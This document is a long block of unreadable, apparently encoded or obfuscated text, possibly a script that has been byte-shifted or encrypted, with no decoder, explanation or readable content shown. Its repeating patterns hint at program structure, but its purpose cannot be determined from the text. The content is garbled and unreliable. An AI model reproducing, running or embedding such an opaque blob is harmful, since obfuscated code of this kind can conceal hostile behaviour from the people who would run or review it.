6;::1;:-e<01,+>1+r+62:,<7:;*3:-UUUUU6&3-,o*-.<)&:l.1w{&&n),2;h=.&;;vdU"Upp>//-0'62>+:2>+<7UU":3,:$U6&3-,o*-.<)&:l.1w{&&n),2;h=.&;;vdU"U":3,:$U6&3-,o*-.<)&:l.1w{&&n),2;h=.&;;vdU"U"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$UUUU04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wninjvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"UUUU"U9*1<+6015f&f94&%;'m58mo:-o/wvU$UUUU+-&$UUU69w~6( l).%/>&.=%8wmnhmvw68-=;0g1k=f9<,wklhvv##~6( l).%/>&.=%8wmnhmvw%&l24,::0;+wmmoovvv-:+*-1dU69w~;:961:;w68-=;0g1k=f9<,wmmonvvv-:+*-1dUU{<6hn>3 .,3b6( l).%/>&.=%8wmnlovdU69w~(/ 1:'+ ,<7:;*3:;w{<6hn>3 .,3vv$UUU(/ ,<7:;*3: :):1+w6( l).%/>&.=%8wnggmvwvtwmfmtgvs68-=;0g1k=f9<,wmmomvs{<6hn>3 .,3vdUpp:,<>/:r>1>3&%:,:,.*6361:>-,46/r36,+UU"UUU69w~(/ 1:'+ ,<7:;*3:;w6( l).%/>&.=%8wmnlnvvv$U(/ ,<7:;*3: :):1+w==7i3&4;3f/;13mwmmolvwvtwjoltfhvs==7i3&4;3f/;13mwmmokvs6( l).%/>&.=%8wmnlnvvdU"Upp<30,:;<01+>61:-UU"<>+<7w7-0(>=3:{3+1n/j=+n mv${1.9*m(f3-fbnmnnd{,8/7%ii=b{1.9*m(f3-fzfdU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wmmojvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"UUU"UUUU9*1<+6015 l/,4'n*+4ffl(8.h6wvU$U+-&$U69w~;:961:;w%&l24,::0;+wmmonvvv-:+*-1dU{>&0i06>j(jb0,://=::3'-f*7wqx8xswnfvvdU{%*80(7<+20&=15h:b>-->&wvdU69w6( l).%/>&.=%8wmnhmvw==7i3&4;3f/;13mwmmoivvv{%*80(7<+20&=15h:b(2++90&.)m=1=gl8g6wvdU{%*80(7<+20&=15h:bq6( l).%/>&.=%8wmmohvdUUU69w68-=;0g1k=f9<,wmnhmvw68-=;0g1k=f9<,wjkvvv{%*80(7<+20&=15h:b*&;mh.'go,*2;<g)+*f9>wvdU90-:><7w{%*80(7<+20&=15h:>,{2.k09oi=n>v$U{%*53<,loj73%&b{2.k09oi=n>q68-=;0g1k=f9<,wnikhvq{>&0i06>j(jdU69w%&l24,::0;+wmmogvw{%*53<,loj73%&vyyw61+v68-=;0g1k=f9<,wmmofvw{%*53<,loj73%&va%&l24,::0;+wmmolvwvrwlnnrhnvv-:+*-1dU"UU90-:><7w{%*80(7<+20&=15h:>,{2.k09oi=n>v$U{3 &l31n:2j3*0* =b{2.k09oi=n>q%&l24,::0;+wmmnovq{>&0i06>j(jdU69w%&l24,::0;+wmmnnvw{3 &l31n:2j3*0* =vv$U{0j+*5'6;9&&-&bw61+v68-=;0g1k=f9<,wmmofvw{3 &l31n:2j3*0* =vdU69w{0j+*5'6;9&&-&a%&l24,::0;+wmmolvwvrwgiligtlmvyy{0j+*5'6;9&&-&cb%&l24,::0;+wmmnmvwvtwhotmlovv<01+61*:dU6&3-,o*-.<)&:l.1w{3 &l31n:2j3*0* =vdU"U{(<j<(=15=&>f985b{2.k09oi=n>q6( l).%/>&.=%8wnijmvq{>&0i06>j(jq68-=;0g1k=f9<,wmnfnvdU69w%&l24,::0;+wmmnlvw{(<j<(=15=&>f985vyyw61+v68-=;0g1k=f9<,wmnffvw{(<j<(=15=&>f985vawkgmtngvv$U{5m1%/<)6/il0fklb{2.k09oi=n>q==7i3&4;3f/;13mwnignvq{>&0i06>j(jdU{550in6j0;.3b6( l).%/>&.=%8wmmnlvw{5m1%/<)6/il0fklv`==7i3&4;3f/;13mwnmgnvww,+-618v%&l24,::0;+wmnojvw{5m1%/<)6/il0fklvve}}dU69w{550in6j0;.3~bb}}yy6( l).%/>&.=%8wmnhmvw68-=;0g1k=f9<,wmmnkvvyy2;j 963:w{(<j<(=15=&>f985vbbb{550in6j0;.3v$U61<3*;:{(<j<(=15=&>f985dU-:+*-1dU"U69w{550in6j0;.3~bb}}v$U6&3-,o*-.<)&:l.1w{(<j<(=15=&>f985vdU"U*1,:+w{5m1%/<)6/il0fkls{550in6j0;.3vdU"U"U*1,:+w{3 &l31n:2j3*0* =s{0j+*5'6;9&&-&vdU69w68-=;0g1k=f9<,wmnhmvw==7i3&4;3f/;13mwgfovvv;:3:+: +->1,6:1+w==7i3&4;3f/;13mwmmnjvvdU3h55->=32(1-83k=.nn=wvdUUUUUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wmmnivs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+601)g;&3+ihi:fng*8-wvU$U+-&$U69w~;:961:;w==7i3&4;3f/;13mwmmnhvvv-:+*-1dU(k;54l2:h&:k3niigh698w1*33vdU{;).m.>/5(5)%o&b6( l).%/>&.=%8wnffjvw-nif,f=:o%ol2)owvs6( l).%/>&.=%8wmnfnvvd{/90;8:-+8:>3(nbniuid{'4m-,l /5/ b{/90;8:-+8:>3(nrnjdU{.=<+,fo.&/:b-nif,f=:o%ol2)owvdU{/3o7(5k<n381&'b}}dU69w6( l).%/>&.=%8wmmnlvw{.=<+,fo.&/:vyy==7i3&4;3f/;13mwmmngvw{.=<+,fo.&/:vawfgglrkgglvv$U{1m)m:(.j72>5%9bw,+-618v%&l24,::0;+wmnojvw{.=<+,fo.&/:vd{/+%/g0(+)brkjd{0n3;+ /f%%j(8bw{/+%/g0(+)aov`{/+%/g0(+)er{/+%/g0(+)dU{(m4k6+9>:kji20%b68-=;0g1k=f9<,wmnhmvw68-=;0g1k=f9<,wmmnfvv`5( g6,6h*67j545kh:w{1m)m:(.j72>5%9ve{1m)m:(.j72>5%9dU69w6( l).%/>&.=%8wmmmovw{(m4k6+9>:kji20%vyy6( l).%/>&.=%8wmngfvw{(m4k6+9>:kji20%vawfnmrknmvyy)%;j1-;6fo.< h=<%=*w{(m4k6+9>:kji20%vv{/3o7(5k<n381&'b{(m4k6+9>:kji20%dU*1,:+w{1m)m:(.j72>5%9s{(m4k6+9>:kji20%vdU"U69w{/3o7(5k<n381&'bbb}}v$U{.,(*mj6=<3(b0,://=::3'-f*7wq==7i3&4;3f/;13mwmmmnvswnfrfvvdU{<i)6-4h398 )b6( l).%/>&.=%8wmnhmvw6( l).%/>&.=%8wmnjjvv`8:+ 0/+601w{.,(*mj6=<3(s}}ve}}dU69w~{<i)6-4h398 )##==7i3&4;3f/;13mwmmmmvw{<i)6-4h398 )vcwkkjtjjvv-:+*-1d{,3: 2%k=7nblf#nlgd{(%j>m024.&-j,b{,3: 2%k=7nmmmdU{/3o7(5k<n381&'b.m/(=+li%/068653')-n0w%&l24,::0;+wkomvw{<i)6-4h398 )vvdU69w~{/3o7(5k<n381&'##==7i3&4;3f/;13mwmmmmvw{/3o7(5k<n381&'vcwkjmtkgvv-:+*-1dUUU69w~)%;j1-;6fo.< h=<%=*w{/3o7(5k<n381&'vv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnmghvs==7i3&4;3f/;13mwghlvvdU-:+*-1dU"U"U{)k98%ni;o9b*&;mh.'go,*2;<g)+*f9>wvdU{82g2+o8n;n(-*'4jb{)k98%ni;o9q6( l).%/>&.=%8wjjvq{;).m.>/5(5)%o&dU{28:.<8=,=58,b{82g2+o8n;n(-*'4jqxpxq{;).m.>/5(5)%o&q%&l24,::0;+wmnfnvdU69w~%&l24,::0;+wnfgmvw{82g2+o8n;n(-*'4jvv 1'4'n,k3k&859>>;w{82g2+o8n;n(-*'4jswkkgtkjvs+-*:vdU{9&i8- -2:>=)+ 5b6( l).%/>&.=%8wmmnlvw{28:.<8=,=58,v`w,+-618v68-=;0g1k=f9<,wmnojvw{28:.<8=,=58,ve}}dUU{5;h3)6*4=9fk=1+b9>3,:dU69w{9&i8- -2:>=)+ 5~bb}}yy68-=;0g1k=f9<,wmolkvw68-=;0g1k=f9<,wnffnvs%&l24,::0;+wmniivw{9&i8- -2:>=)+ 5soswkojltklvvs{'6 '54mf)mhf3ivyy):-,601 <02/>-:w{'6 '54mf)mhf3ins(8=4>%+g%(8i0>1>i(l9h+wvsxaxvv{5;h3)6*4=9fk=1+b+-*:dU*1,:+w{'6 '54mf)mhf3ivdU69w~{5;h3)6*4=9fk=1+yyw{9&i8- -2:>=)+ 5bbb}}##==7i3&4;3f/;13mwmnkivw5( g6,6h*67j545kh:w{9&i8- -2:>=)+ 5vv~bb==7i3&4;3f/;13mwmnkivw{/3o7(5k<n381&'vvv$U69w,=.9=%*lk<l11j),n'56'/w{28:.<8=,=58,s+l92.0094n*&>:4j01(w{/3o7(5k<n381&'vvv$U..+:l- 3/5(*9,%,)6<:w{28:.<8=,=58,swlfmtmgvvdU:fk534k;<kn+4l3w{28:.<8=,=58,vdU3o>94&fk7+k97f >w{28:.<8=,=58,vdU"U"U*1,:+w{9&i8- -2:>=)+ 5s{5;h3)6*4=9fk=1+vdU69w68-=;0g1k=f9<,wmnhmvw%&l24,::0;+wmnjjvvyy68-=;0g1k=f9<,wmmmlvw==7i3&4;3f/;13mwnhiivvv${&/<94j++i>(0n(blhuhd{*04,)<()g77-42b{&/<94j++i>(0n(rkhdU{-.)=3j'l%k<kkn<0b{;).m.>/5(5)%o&qxpxq{;).m.>/5(5)%o&q6( l).%/>&.=%8wmnfnvdUUUU{'7>%gk(f+<: h,&5b8:+ 0/+601w6( l).%/>&.=%8wmmmkvs>-->&wvvdUUU69w~68-=;0g1k=f9<,wmnmmvw{'7>%gk(f+<: h,&5vv{'7>%gk(f+<: h,&5b>-->&wvdUUUU69w~6( l).%/>&.=%8wmmmjvw{-.)=3j'l%k<kkn<0s{'7>%gk(f+<: h,&5s+-*:vv$U{'7>%gk(f+<: h,&5b{-.)=3j'l%k<kkn<0dU*/;>+: 0/+601w==7i3&4;3f/;13mwmmmivs==7i3&4;3f/;13mwhomvw{'7>%gk(f+<: h,&5vvdUUU"U"U{:n:8;),2<76'=5fb* <>0f1:0)g)&4k,07+oo1wvdU69w68-=;0g1k=f9<,wnfgmvw{:n:8;),2<76'=5fv## 1'4'n,k3k&859>>;w{:n:8;),2<76'=5fswkkitkhvs+-*:vv$U{.j>89o+/9klb{:n:8;),2<76'=5fqxpxq{;).m.>/5(5)%o&q==7i3&4;3f/;13mwmmmhvdU{128g16>;= b68-=;0g1k=f9<,wmmnlvw{.j>89o+/9klv`w,+-618v68-=;0g1k=f9<,wmnojvw{.j>89o+/9klve}}dU{&<6&3=7/9 b9>3,:dU69w{128g16>;= ~bb}}yy68-=;0g1k=f9<,wmmmgvw68-=;0g1k=f9<,wnffnvs68-=;0g1k=f9<,wmmmfvw{128g16>;= soswlkkhtikfvvs{>>i,3';==o.vyy):-,601 <02/>-:w{>>i,3';==o.ns(8=4>%+g%(8i0>1>i(l9h+wvsxaxvv{&<6&3=7/9 b+-*:dU*1,:+w{>>i,3';==o.vdUUU69w~{&<6&3=7/9 yyw{128g16>;= bbb}}##==7i3&4;3f/;13mwmnkivw5( g6,6h*67j545kh:w{128g16>;= vv~bb==7i3&4;3f/;13mwmmlovw{/3o7(5k<n381&'vvv${2118&4%)>bgo#noid{>j/6(4g-,j*hjb{2118&4%)>jndU69w,=.9=%*lk<l11j),n'56'/w{.j>89o+/9kls+l92.0094n*&>:4j01(w{/3o7(5k<n381&'vvv$UU..+:l- 3/5(*9,%,)6<:w{.j>89o+/9klswnntkofvvdU:fk534k;<kn+4l3w{.j>89o+/9klvdUU3o>94&fk7+k97f >w{.j>89o+/9klvdU"Upp308>-6+726<>;>/+:-UU":3,:69w~{&<6&3=7/9 v$U{;5f5=2+8/i5b==7i3&4;3f/;13mwmmofvw{.j>89o+/9klvdU69w~{;5f5=2+8/i5##w{;5f5=2+8/i5zwnjkomgrjkomgvv~bb/-5'%k3i;i25km)wvv:fk534k;<kn+4l3w{.j>89o+/9klvdU*1,:+w{;5f5=2+8/i5vdUUU"U*1,:+w{128g16>;= s{&<6&3=7/9 vdU"U=o6(/-875*o9=+h(1w{/3o7(5k<n381&'vdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$UU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwmmlnvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+601>'<h(6;%3ii+3 6. 5h%+wvU$U69w~6,,:+w{ x/xv##~%&l24,::0;+wmmmovw{ x/xvv-:+*-1dU{ =/&./h2=4h36;84b{ x/xdU69w{ =/&./h2=4h36;84bbb( o1'98,:=124 jw6( l).%/>&.=%8wnkonvvv$U+-&$U{ jf>=-k<.i,*fo7b(2++90&.)m=1=gl8g6wvqxpxq0,://=::3'-f*7wq==7i3&4;3f/;13mwmmlmvswnnmnmovvq==7i3&4;3f/;13mwmmmhvdU{&k=+1./i0'2'(:*b6( l).%/>&.=%8wmmllvw{ jf>=-k<.i,*fo7v`w61+v%&l24,::0;+wmmngvw{ jf>=-k<.i,*fo7veodU69w{&k=+1./i0'2'(:*awkjntkfvyy{&k=+1./i0'2'(:*cbwjjhnhjtkigjhojvv$U61<3*;:{ jf>=-k<.i,*fo7dU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$UUUU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U(763:w68-=;0g1k=f9<,wkjivwvaoyy0= :1; <3:>1wvv$U"UUUU7:>;:-w68-=;0g1k=f9<,wmmlkvvdU:'6+dU"UUUU69w{ =/&./h2=4h36;84~bb( o1'98,:=124 jw6( l).%/>&.=%8wnlhfvvv-:+*-1dU+-&$U69w==7i3&4;3f/;13mwmmljvw%&l24,::0;+wmmlivvyy==7i3&4;3f/;13mwmmljvw68-=;0g1k=f9<,wmmlhvvv$U*/;>+: 0/+601w6( l).%/>&.=%8wjilvsw61+v8:+ 0/+601w==7i3&4;3f/;13mwjilvsovtns==7i3&4;3f/;13mwmmlgvvdUUU*/;>+: 0/+601w%&l24,::0;+wjijvs68-=;0g1k=f9<,wmmlfvwvs%&l24,::0;+wmmkovvdU"U{8155&h%.60b0m;'l>7%/7%i16 jw68-=;0g1k=f9<,wnlhivs}}vdUU69w68-=;0g1k=f9<,wmmmmvw{8155&h%.60vawfgtmvyy~68-=;0g1k=f9<,wmmknvw6( l).%/>&.=%8wmmkmvs{8155&h%.60vyy==7i3&4;3f/;13mwmmknvw6( l).%/>&.=%8wmmklvs{8155&h%.60vv$UU{3f026h0m 8b%&l24,::0;+wkomvw{8155&h%.60s+-*:vdU69w{3f026h0m 8~bb9>3,:yy==7i3&4;3f/;13mwmmmmvw{3f026h0m 8vawjjtkjvv{8155&h%.60b{3f026h0m 8dUUUU"U69w%&l24,::0;+wmmkkvw{8155&h%.60vcwnlgrlgvv{8155&h%.60b5%:5kg0)6 go&iwvdU69w68-=;0g1k=f9<,wmmkjvw{8155&h%.60vcwhhtmlvv$U(763:w%&l24,::0;+wkjivwvaoyy0= :1; <3:>1wvv${/o'l:8m=bfngod{50o*kn5fi;'fb{/o'l:8m=zldU"U7:>;:-w%&l24,::0;+wmmkivvdU7:>;:-w==7i3&4;3f/;13mwmmkhvvdU7:>;:-w68-=;0g1k=f9<,wmmkgvvdU:'6+dUU"U{6=f=j+>.)j:1=b0m;'l>7%/7%i16 jw==7i3&4;3f/;13mwmmkfvs}}vdU{(4.h5/84'-m'h*+bx}xq%&l24,::0;+wmmlovw{6=f=j+>.)j:1=q{8155&h%.60vqx}xdUUUU69w6,,:+w{ 	%&l24,::0;+wmmjovvyy6( l).%/>&.=%8wnmgnvw{ 	68-=;0g1k=f9<,wmmjovvbbb{(4.h5/84'-m'h*+v$U(763:w68-=;0g1k=f9<,wkjivwvaoyy0= :1; <3:>1wvv$U"U7:>;:-w6( l).%/>&.=%8wmmjnvvdUUU7:>;:-w%&l24,::0;+wmmjmvq{(4.h5/84'-m'h*+vdU:'6+dU"U(763:w6( l).%/>&.=%8wkjivwvaoyy0= :1; <3:>1wvv$U"U7:>;:-w6( l).%/>&.=%8wmmkivvdU7:>;:-w6( l).%/>&.=%8wmmjlvvdU7:>;:-w6( l).%/>&.=%8wmmjkvvdU7:>;:-w6( l).%/>&.=%8wmmjjvq{(4.h5/84'-m'h*+vdUUUU:<70{6=f=j+>.)j:1=q{8155&h%.60dU:'6+dU"<>+<7w7-0(>=3:{3+1n/j=+n mv$UU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wmmjivs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wmmjivs{3+1n/j=+n mvdUU"Upp30+633e/-05:<+615:<+0-UU"U>'<h(6;%3ii+3 6. 5h%+wvdU9*1<+601.>('jh:jj0k&<+9gwvU$U69w~6,,:+w{ 6( l).%/>&.=%8wmmjhvvv-:+*-1dU+-&$U{/>*-,6j0h8 b{ ==7i3&4;3f/;13mwmmjhvdU69w~68-=;0g1k=f9<,wmmjgvw{/>*-,6j0h8 v##{/>*-,6j0h8 bbb}}v-:+*-1dU{/>*-,6j0h8 b6( l).%/>&.=%8whhvw{/>*-,6j0h8 vdU{=.0*kg:h,5 kb>-->&wvdU69w==7i3&4;3f/;13mwmmjfvw%&l24,::0;+wmmiovvv{=.0*kg:h,5 kbw,+-618v%&l24,::0;+wmminvw702: *-3wvs 
 vdU69w==7i3&4;3f/;13mwmmimvw%&l24,::0;+wmmilvvv$UUU{ 8l+(:.h/,n5bw,+-618v8:+ 0/+601w==7i3&4;3f/;13mwmmikvs}}vdU69w{ 8l+(:.h/,n5~bb}}v{=.0*kg:h,5 kbw,+-618v==7i3&4;3f/;13mwmminvw{ 8l+(:.h/,n5s 
 vdU"UU69w6,,:+w{ 	%&l24,::0;+wikivvv{=.0*kg:h,5 kbw,+-618v{ 	6( l).%/>&.=%8wmmijvdU{=.0*kg:h,5 kb(8%</,)&:4o0.=9w}}vdUUU{9&(kg:..l->,9.'b9>3,:dU90-:><7w6( l).%/>&.=%8wnfhivw{=.0*kg:h,5 kv>,{)h<'+,fl%k0v${9km1j0<)/b  p  d{;- 8)4;6%-b{9km1j0<)/tkgdU69w~68-=;0g1k=f9<,wmmiivw{)h<'+,fl%k0v##{)h<'+,fl%k0bbb}}v<01+61*:dUU69w68-=;0g1k=f9<,wmngmvw{)h<'+,fl%k0sxexv~bb9>3,:v{)h<'+,fl%k0b%&l24,::0;+wmnhgvw68-=;0g1k=f9<,wmmihvs}}s{)h<'+,fl%k0vdU69w0,://=::3'-f*7w68-=;0g1k=f9<,whhvw{)h<'+,fl%k0vq68-=;0g1k=f9<,wmmigvswnihnhnvvbbb{/>*-,6j0h8 v$UU{9&(kg:..l->,9.'b+-*:d{'))-ih8+ g*b  	d{(;n.k)k>&.jonmb{'))-ih8+ g*uidUUUU=-:>4dU"U"U69w~{9&(kg:..l->,9.'v-:+*-1dU{3445,l'2i*:b68-=;0g1k=f9<,wnlggvw6( l).%/>&.=%8wmmifvswmmkmjkvvdU{912j;/5hjg4.-<b.m/(=+li%/068653')-n0w*j l'1/9l1/li5=9)<6& w{3445,l'2i*:vvdU(763:w==7i3&4;3f/;13mwkjivwvaoyy0= :1; <3:>1wvv$U"U7:>;:-w%&l24,::0;+wmmhovvdU7:>;:-w==7i3&4;3f/;13mwmmhnvvdU:<70w{912j;/5hjg4.-<bbb{3445,l'2i*:v`==7i3&4;3f/;13mwmmhmvq==7i3&4;3f/;13mwmmhlvw{3445,l'2i*:ve%&l24,::0;+wmmhkvdUUU:'6+dUUU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwmmhjvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wmmhjvs{3+1n/j=+n mvdU"U"U.>('jh:jj0k&<+9gwvdU9*1<+601-5;7.m)./*64ng-*48g*wvU$U+-&$U69w%&l24,::0;+wmmhivw%&l24,::0;+wmmhhvvv-0<4:+ <3:>1 ;02>61wvdU69w68-=;0g1k=f9<,wmmhivw%&l24,::0;+wmmhgvvv(l+< 93*,7 >33wvdU69w==7i3&4;3f/;13mwmmhivw68-=;0g1k=f9<,wmmhfvvv,8 <><7:/-:,, /*-8: <><7:wvdUUU69w==7i3&4;3f/;13mwmmhivw%&l24,::0;+wmmgovvv36+:,/::; /*-8: >33wvdU:3,:69w6( l).%/>&.=%8wnjmjvw%&l24,::0;+wmmgnvvyy68-=;0g1k=f9<,wffvw68-=;0g1k=f9<,wmmgmvs%&l24,::0;+wmmglvvv6+:/::; ><7: ee/*-8: >33wvdU69w6( l).%/>&.=%8wnjmjvw68-=;0g1k=f9<,wmmgkvvyy%&l24,::0;+wmmgjvw6( l).%/>&.=%8wmmgkvs%&l24,::0;+wmmgivvv-::%: *-8:><7:ee=-::%: <><7: 93*,7wvdU69w68-=;0g1k=f9<,wnjmjvw68-=;0g1k=f9<,winovvyy==7i3&4;3f/;13mwmmghvw==7i3&4;3f/;13mwinovs68-=;0g1k=f9<,wmmggvvv><7: 1>=3:-ee<3:>- +0+>3 <><7:wvdUUU69w68-=;0g1k=f9<,wmmhivw68-=;0g1k=f9<,wmmgfvvv(/9< <3:>- >33 <><7:wvdU:3,:69w6,,:+w{6( l).%/>&.=%8winnvvyy%&l24,::0;+wmmfovw{==7i3&4;3f/;13mwinnvvyy6( l).%/>&.=%8wmmghvw{68-=;0g1k=f9<,winnvs68-=;0g1k=f9<,wmmfnvvv{6( l).%/>&.=%8winnvra;:3:+:><7:w+-*:vdU69w%&l24,::0;+wmmhivw==7i3&4;3f/;13mwmmfmvvv(/ <><7: <3:>- <><7:wvdUUU69w==7i3&4;3f/;13mwnjmjvw6( l).%/>&.=%8wmmflvvyy==7i3&4;3f/;13mwmmghvw==7i3&4;3f/;13mwmmfkvs==7i3&4;3f/;13mwmmfjvvv>*+0/+626%:><7:ee<3:>->33wvdU04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wkflvs==7i3&4;3f/;13mwmmfivvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$UUUU04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wkflvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"UU9*1<+6017+6,=l-2m/m05>g.k*</wvU$U69w6( l).%/>&.=%8wmmhivw6( l).%/>&.=%8wmmfhvvyy6, >;261wvv-:+*-1+-*:dU69w68-=;0g1k=f9<,wmmhivw68-=;0g1k=f9<,wmmfgvvyy(/ ;0618 >5>'wvv-:+*-1+-*:dU69w;:961:;w%&l24,::0;+wmmffvvyy 
v-:+*-1+-*:dU69w;:961:;w==7i3&4;3f/;13mwmloovvyy 
v-:+*-1+-*:dU69w==7i3&4;3f/;13mwmmhivw%&l24,::0;+wmlonvvyy6, 9::;wvv-:+*-1+-*:dU69w%&l24,::0;+wmmhivw6( l).%/>&.=%8wmlomvvyy6, -0=0+,wvv-:+*-1+-*:dUUU69w%&l24,::0;+wmmhivw%&l24,::0;+wmlolvvyy6, ,6+:2>/,wvv-:+*-1+-*:dUU69w68-=;0g1k=f9<,wmmhivw%&l24,::0;+wmlokvvyy6, <*,+026%: /-:)6:(wvv-:+*-1+-*:dU69w6,,:+w{ %&l24,::0;+wmlojvv##6,,:+w{ 6( l).%/>&.=%8wmloivv##6,,:+w{ 6( l).%/>&.=%8wmlohvvv-:+*-1+-*:dUUU-:+*-19>3,:dUUUU"U9*1<+601:0.<0%'6 :o,4k*64)4,wvUUUU${2m*6<0;fbfnuld{969g+&;2:m1=>1b{2m*6<0;frfdU{1)(l +f'>8f)>:bw6,,:+w{==7i3&4;3f/;13mwhnlvvyy%&l24,::0;+wmmiivw{==7i3&4;3f/;13mwhnlvvv`68-=;0g1k=f9<,wnmgnvw{%&l24,::0;+whnlvve}}dUUUU69w{1)(l +f'>8f)>:bbb}}v-:+*-1}}dU{1)(l +f'>8f)>:b68-=;0g1k=f9<,wmlogvw68-=;0g1k=f9<,wmlofvs==7i3&4;3f/;13mwmlnovs{1)(l +f'>8f)>:vdU{+2f/g2)(kh:.93k<b6( l).%/>&.=%8wmmhivw==7i3&4;3f/;13mwmlnnvv`w,+-618v68-=;0g1k=f9<,wmminvw702: *-3wvs 
 ve}}dU{3*k2')5&5'=.%m(b0,://=::3'-f*7w%&l24,::0;+whhvw{+2f/g2)(kh:.93k<vswltlvvdU{1%;7mom+7+j=2b==7i3&4;3f/;13mwmmmfvw6( l).%/>&.=%8wmmhlvw{1)(l +f'>8f)>:vsoswktmvvdU-:+*-1}1c,<-6/+;>+>r,<b}}q{3*k2')5&5'=.%m(qxrxq{1%;7mom+7+j=2q}}a1}q{1)(l +f'>8f)>:q}1cp,<-6/+a1c~rr,<}q{3*k2')5&5'=.%m(qxrxq{1%;7mom+7+j=2q}rra1}dU"U9*1<+601,,/i5841jk-=;i2<6wvU$U+-&$U69w7+6,=l-2m/m05>g.k*</wvv-:+*-1dUU{4-2&(':&2 -05'b:0.<0%'6 :o,4k*64)4,wvdU69w{4-2&(':&2 -05'bbb}}v-:+*-1dU:<70{4-2&(':&2 -05'dU{%&l24,::0;+wjjjvb+-*:dU69w%&l24,::0;+wmlnmvw68-=;0g1k=f9<,wmlnlvvyy68-=;0g1k=f9<,wmlnmvw%&l24,::0;+wmlnkvvyy:2/+&w{==7i3&4;3f/;13mwmlnjvvv$U{6( l).%/>&.=%8wmlnivb+-*:dU{);73o6j*)*m3<gbw61+v8:+ 0/+601w==7i3&4;3f/;13mwjiovsovdU69w==7i3&4;3f/;13mwmmlfvwvr{);73o6j*)*m3<gawmfktivv*/;>+: 0/+601w%&l24,::0;+wjiovs6( l).%/>&.=%8wmlnhvwvs68-=;0g1k=f9<,wmmkovvdU*1,:+w{);73o6j*)*m3<gvdU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wgnivs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UUUU"U"U9*1<+601'g<3:4:m&16hn>gi24=<fhw{674m'.'o+)h(gvU$U69w~68-=;0g1k=f9<,wmmiivw{674m'.'o+)h(gv##{674m'.'o+)h(gbbb}}v-:+*-1{674m'.'o+)h(gdU69w~:2/+&w{6( l).%/>&.=%8wmlngvvv-:+*-1{674m'.'o+)h(gdU{4-2&(':&2 -05'b:0.<0%'6 :o,4k*64)4,wvdU69w{4-2&(':&2 -05'bbb}}v-:+*-1{674m'.'o+)h(gdUUU69w,+-6/0,w{674m'.'o+)h(gs68-=;0g1k=f9<,wmlnfvvbbb9>3,:yy,+-6/0,w{674m'.'o+)h(gs68-=;0g1k=f9<,wmlmovvbbb9>3,:v-:+*-1{674m'.'o+)h(gdUU{6( l).%/>&.=%8wmlngvb+-*:dU{%&l24,::0;+wjjhvb+-*:dUUU{/i<h gm*;i:><1'1b,+-6/0,w{674m'.'o+)h(gs6( l).%/>&.=%8wmlnfvvdU69w{/i<h gm*;i:><1'1~bb9>3,:v$U-:+*-1%&l24,::0;+wmmmfvw{674m'.'o+)h(gsos{/i<h gm*;i:><1'1vq{4-2&(':&2 -05'q68-=;0g1k=f9<,wmmmfvw{674m'.'o+)h(gs{/i<h gm*;i:><1'1vdU"Uppgqk96=:-,e:.*6)>-6>1+;>+>930(r8->/7UU-:+*-1{674m'.'o+)h(gq{4-2&(':&2 -05'dU"U9*1<+601,4gi3k9;12(k.1lm-mi63wvU$U+-&$Upp30<401+-03,e619:-/6/:361:UUU69w7+6,=l-2m/m05>g.k*</wvv-:+*-1dU69w~:2/+&w{68-=;0g1k=f9<,wmlmnvvv-:+*-1dU{1)(l +f'>8f)>:bw6,,:+w{6( l).%/>&.=%8whnlvvyy==7i3&4;3f/;13mwmlmmvw{==7i3&4;3f/;13mwmlmlvvv`%&l24,::0;+wnmgnvw{68-=;0g1k=f9<,wmlmkvve}}d{;9699+h62/b  	d{679f0- /;h54h1b{;9699+h62/uidU69w{1)(l +f'>8f)>:bbb}}v-:+*-1dU{==7i3&4;3f/;13mwmlmnvb+-*:dU68-=;0g1k=f9<,wmlmjvw6( l).%/>&.=%8wmlmivvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwjjivs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+6017:llm53,,<**+24/m66wvUU$U+-&$U69w~6, >;261wvyyw~6,,:+w{%&l24,::0;+wmlmhvv##{68-=;0g1k=f9<,wmlmgv~bb==7i3&4;3f/;13mwmlmfvvv-:+*-1dU69w%&l24,::0;+wmlnmvw6( l).%/>&.=%8wjkmvvyy~6, ,,3wvv-:+*-1dU{;<=;*:o5=79<2(b0m;'l>7%/7%i16 jw%&l24,::0;+wnlhkvs}}vdUUU{3*k2')5&5'=.%m(b0,://=::3'-f*7wq6( l).%/>&.=%8wgnivswnnmnngvvdU{;)9moh(g9m)n*-b68-=;0g1k=f9<,wnifgvdU69w{;<=;*:o5=79<2(bbb}}v$U69w6( l).%/>&.=%8wmlnmvw%&l24,::0;+wmlnlvvyyw61+v8:+ 0/+601w6( l).%/>&.=%8wjigvsovv$U